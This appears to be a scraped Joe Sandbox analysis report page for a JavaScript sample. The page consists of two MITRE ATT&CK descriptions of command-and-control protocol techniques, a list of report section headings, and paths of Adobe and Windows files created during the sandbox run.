Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 145332287313130856.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8a8d04c6-2080-42d2-996e-a02b65877c98.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5020

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5020

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Windows Analysis Report
145332287313130856.js